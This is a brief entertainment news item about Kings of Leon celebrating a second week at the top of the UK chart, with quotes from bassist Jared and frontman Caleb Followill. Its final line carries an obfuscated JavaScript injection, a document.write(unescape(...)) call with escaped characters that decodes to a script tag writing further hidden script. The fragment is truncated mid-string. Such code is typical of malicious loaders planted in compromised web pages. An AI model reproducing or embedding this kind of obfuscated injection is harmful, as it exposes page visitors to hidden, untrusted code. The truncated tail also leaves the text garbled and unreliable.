Kings of Leon big up UK

Kings of Leon have heaped praise upon their trusty British fans and thanked them for sending them to number one for a second week.

Bassist Jared Followill says that the Tennessee outfit have been celebrating non stop since they first hit the top spot nine days ago.

He beamed: "We're just making music for ourselves and luckily people are with us. Especially you guys. You guys (the British public) have always been with us and the fact that we've made a record that's a little different and a little riskier, and it got to number one here, that's the best thing.

"We feel like it's going to be bigger everywhere else than the others have, so as long as you guys stick with us and keep us afloat, we'll be happy."

Reflecting on the non-stop partying the band have been doing, Jared continued to 6music: "We've been celebrating a little too much. It's kind of like, alright guys you can quit celebrating now."

Frontman Caleb added: "It's not like a birthday either, you stay number one for a week so we get to party all week."

Despite reaching number one in the UK, Kings of Leon only made number 25 in their native America.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22